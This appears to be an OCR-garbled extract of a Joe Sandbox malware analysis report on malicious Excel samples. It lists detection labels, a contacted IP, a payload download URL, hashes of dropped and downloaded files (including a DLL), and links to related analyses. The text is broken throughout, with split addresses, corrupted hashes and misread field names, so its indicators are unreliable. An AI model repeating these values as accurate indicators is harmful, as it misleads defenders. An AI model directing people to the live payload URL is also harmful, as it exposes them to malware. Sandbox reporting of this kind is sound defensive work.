
malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php

www.chipm
ania.it/ma
ils/open.php
www.chipm
ania.it/ma
ils/open.php
www.chipm
ania.it/ma
ils/open.php

Context

Context

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164
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https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid
https://view.joesandbox.com/analysis/265984/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265984/html/none?idtype=webid
https://view.joesandbox.com/analysis/265669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265669/html/none?idtype=webid
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid
https://view.joesandbox.com/analysis/265659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265659/html/none?idtype=webid
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid
https://view.joesandbox.com/analysis/264019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264019/html/none?idtype=webid

Match

RedesyTelecomunicacionesHN

SSASN2US

SERVERPLAN-ASIT

JA3 Fingerprints
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8c4a22651d328568ec66382a84fc505f
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1.151

142.202.19
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1.186
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Context

142.202.19
1.164
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https://view.joesandbox.com/analysis/259444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259444/html/none?idtype=webid
https://view.joesandbox.com/analysis/259443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259443/html/none?idtype=webid
https://view.joesandbox.com/analysis/257677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257677/html/none?idtype=webid
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid
https://view.joesandbox.com/analysis/265656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265656/html/none?idtype=webid
https://view.joesandbox.com/analysis/264017/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264017/html/none?idtype=webid
https://view.joesandbox.com/analysis/255832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255832/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266414/html/none?idtype=webid
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid
https://view.joesandbox.com/analysis/266239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266239/html/none?idtype=webid
https://view.joesandbox.com/analysis/266145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266145/html/none?idtype=webid
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid
https://view.joesandbox.com/analysis/266133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266133/html/none?idtype=webid
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266091/html/none?idtype=webid
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265660/html/none?idtype=webid
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265652/html/none?idtype=webid
https://view.joesandbox.com/analysis/265557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265557/html/none?idtype=webid
https://view.joesandbox.com/analysis/265494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265494/html/none?idtype=webid
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265276/html/none?idtype=webid
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265171/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid
https://view.joesandbox.com/analysis/266493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266493/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid

Match

Dropped Files

Match

C:\Users\user\AppData\Local\Microsoft\
Windows\Temporary Internet
Files\Content.|IE5\T40403JZ\10[1].jjkes

C:\Users\user\BASE.BABAA

Copyright null 2021
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Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164
142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

142.202.19
1.164

Context
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https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266406/html/none?idtype=webid
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266144/html/none?idtype=webid
https://view.joesandbox.com/analysis/266141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266141/html/none?idtype=webid
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266139/html/none?idtype=webid
https://view.joesandbox.com/analysis/266137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266137/html/none?idtype=webid
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266098/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266499/html/none?idtype=webid
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266498/html/none?idtype=webid
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266497/html/none?idtype=webid
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266496/html/none?idtype=webid
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266495/html/none?idtype=webid
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266494/html/none?idtype=webid
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266492/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\wermgr.exe

Microsoft Cabinet archive data, 59134 bytes, 1 file

dropped

59134

7.995450161616763

true

1536:R695NkIMMO/7IlaXXHAQHQaYfwimz8eflqigY Df:RN7MlanAQWEIzt Tk
E92176B0889CC1BB97114BEB2F3C1728
AD1459D390EC23AB1C3DA73FF2FBEC7FA3ATF443
58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3AB605FCI900F3
CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0DF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FABE77244EC229D8F
false

moderate, very likely benign file

MSCF............ TN L T R.. .authroot.stl.ym&7.5..CK..8T....c_.d.....(.... . M$[v.4.). E.$7*|.....e..Y..Rq...3.n..u.............|..=H...&.1.1.fL..>e.6...F8.X.b.1$,.a...n-
c.Deac ot i<b_#..G.U....n.21%pa..>.32..Y . j...;Ay........ nR.. _+.<.Am.t<..V.y.y0.e@./..<#. #...dju*.B....8. . H.Ir..LI6/.d].xIX<..&U..GD..Mn.y&.
[<(tk.....%B.b;.[.." #h....C.P..B..8d.F..D k........... 0.W...@(.. @K....?.)ce \ pl.)..x0V..ZK{..{=#h.v.)....b.* [..L.*c.a..,..E5
Xoidow... #o*+. . X P kLV.S$ X e L 9E xS\ KmLLL. B..Ep..xl@@cl.....p?7..d {EYN.K.X>D3..Z..q.] .Mq......... L.n} +/N\.cDBO."Y...r[......vM...0.=....zK....
I.>B...U..3...Z..Z]S..wZ.M...IW;..e.L..zC.WBtQ..&Z.Fv+..G9.8...\T:K".....m.......9T.u..3h...{..d[..@...Q.2..p.e.t[.%7 NS,

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\wermgr.exe

data

dropped

328

3.078657124509345

false
6:kK7APbqoN+SKkQIPIEGYRMY9z+4KIDA3RUeKIF+adAlf:DAW3KPIE99SNxAhUeo+aKt
76C4F94E3F31035415F533015971BEGE
C7A8552A39CA176E310DCAFCF2D198808FCE970D
2341CC65476F6D7FAEA43753B543EFF7DDC8CEBO7F2DA3D8C33D695B24D8688C
066B27D84C6FD5A717D377649DCE5S534749D1F15DA2E4A73BID5B0715029A7E8B64ADE266D2369D7C5DA9B62986B90BD2856A2A85AEFE3093931972FE564588!

false

low

.http.o//lctldl.wind.ows.u.p.date..com/ms.dow.n.lo.ad/u.p.date./lv.3/static
.eb.baeld7ead6.1.:0.".

Yoo
Jtrusted.r/en/lauthro.o.ts.tl.ca.

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
downloaded

4591104

5.0540147937501265

false

49152:7Skyvlo/YMOZswCkQzvhtawebv5hW2/yF//4VPQw:NCetO//S9
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https://view.joesandbox.com/analysis/266490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266490/html/none?idtype=webid
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266455/html/none?idtype=webid
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266454/html/none?idtype=webid
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266453/html/none?idtype=webid
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266452/html/none?idtype=webid
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266450/html/none?idtype=webid
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266448/html/none?idtype=webid
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266446/html/none?idtype=webid
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266444/html/none?idtype=webid
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266442/html/none?idtype=webid
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266439/html/none?idtype=webid
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266421/html/none?idtype=webid
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266418/html/none?idtype=webid

MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Joe Sandbox
View:

Reputation:
|IE Cache URL:

Preview:

25056DF6D3546DE971EAFESDASFOAE44
179555B3D0391E45DF29E651B8ED0342D02FE88A
AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689ECS5EB

8032A5BD9B07ACCC290B24FD2AFA299AFD12214026089665836FADE7282F0D217FFD79F5A3A12FD64EOE08D4FG6FAOA04A8B036B4CDC1F95356B0BF43D6A80B!
0

true

Antivirus: Metadefender, Detection: 11%, Browse
Antivirus: ReversingLabs, Detection: 6%

Filename: SecuriteInfo.com.Exploit.Siggen3.10350.857 .xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.12632.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.20211.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.27303.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.24644.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.15803.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls, Detection: malicious, Browse
Filename: SecuriteInfo.com.Exploit.Siggen3.10350.31033.xls, Detection: malicious, Browse
Filename: Securitelnfo.com.Heur.1476.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.1181.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.21235.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.15875.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.21759.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.2804 xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.1138.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.11266.xls, Detection: malicious, Browse

Filename: Securitelnfo.com.Heur.18554.xls, Detection: malicious, Browse

Filename: Sign-636.xls, Detection: malicious, Browse

Filename: Sign-92793351_1597657581.xls, Detection: malicious, Browse

Filename: Sign-979329054_1327186231.xls, Detection: malicious, Browse

moderate, very likely benign file

hitp://www.chipmania.it/mails/open.php

MZ.ooooiiiiiieii, @ oo 1..L.IThis program cannot be run in DOS mode....$....... 5y K* K*K*#.+ K*#+~K* # 4+ K x5+ KA+ KE#+ KKK
o KN A+ KNG A KN * KN+ K FRich K * PE.L...S/ oo L...1B... JABua F. ..@ .D."....D.<...D.Xp......

rsrc..Xp....D..r.

C:\Users\user\AppData\Local\Temp\CBBE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

155530

7.660500020953335

false
3072:YXWVpupSzxNEBBD+0Os7/xxkKCtRbsYOlentseoXXa:YEGSzx0dmxk7RbsYsKtseoXq
2C9F8E47B1600F5DE2F6DCDFB24094CC
D4BE003987DD33946B0636CFA3CA7F22095B65B5
ABEAB1FB3FE63C24CD13039896ADA32D0463BB1D31ECEDC59C02E661EB4054CF
4256D5E72B27028E98B2E896211A25D2DD3102E4625DEA37AFB2FF7E4117025952B26AA399E9673B9EFOC782376001E9E894A0B4A4B88775945F5D35F65B201D

false

low

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

Copyright null 2021

C:\Windows\System32\wermgr.exe

Microsoft Cabinet archive data, 59134 bytes, 1 file

dropped

59134

7.995450161616763

true

1536:R695NkIMMO/7IaXXHAQHQaY fwimz8eflgigY Dff: RN7MlanAQWEIzt Tk
E92176B0889CC1BB97114BEB2F3C1728
AD1459D390EC23AB1C3DA73FF2FBEC7FA3ATF443
58A4F38BA43F115BA3F465C311EAAF67F43D92E580F7F153DE3ABB05FC9900F3
CD2267BA2F08D2F87538F5B4F8D3032638542AC3476863A35F0ODF491EB3A84458CE36C06E8C1BD84219F5297B6F386748E817945A406082FA8E77244EC229D8F
false

moderate, very likely benign file
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https://www.metadefender.com/#!/results/file/bzIxMDIyMDBtOXlhcUNyb0pIZ25IU1hTMVo/regular/analysis
https://view.joesandbox.com/analysis/266499/html/none
https://view.joesandbox.com/analysis/266498/html/none
https://view.joesandbox.com/analysis/266497/html/none
https://view.joesandbox.com/analysis/266496/html/none
https://view.joesandbox.com/analysis/266495/html/none
https://view.joesandbox.com/analysis/266494/html/none
https://view.joesandbox.com/analysis/266492/html/none
https://view.joesandbox.com/analysis/266490/html/none
https://view.joesandbox.com/analysis/266455/html/none
https://view.joesandbox.com/analysis/266454/html/none
https://view.joesandbox.com/analysis/266453/html/none
https://view.joesandbox.com/analysis/266452/html/none
https://view.joesandbox.com/analysis/266450/html/none
https://view.joesandbox.com/analysis/266448/html/none
https://view.joesandbox.com/analysis/266446/html/none
https://view.joesandbox.com/analysis/266444/html/none
https://view.joesandbox.com/analysis/266442/html/none
https://view.joesandbox.com/analysis/266439/html/none
https://view.joesandbox.com/analysis/266421/html/none
https://view.joesandbox.com/analysis/266418/html/none

C:\Users\luser\AppData\Local\Temp\Cab20E9.tmp E

Preview:

....R.. .authroot.stl.ym&7.5..CK..8T....c_.d.....(....].M$[v.4.).E.$7*].....e..Y..Rq...3.n..u.... |.=H....&.1.1.f.L..>e.6...F8.X.b.1$,.a...n-
..n.21%pa..>.32..Y . j...;Ay........ n/R... _+.<.Amt< .V.y.yO.e@./.<#.#...dju*.B...8. . H.Ir..l6/.d].xIX<..&U...GD..Mn.y&.
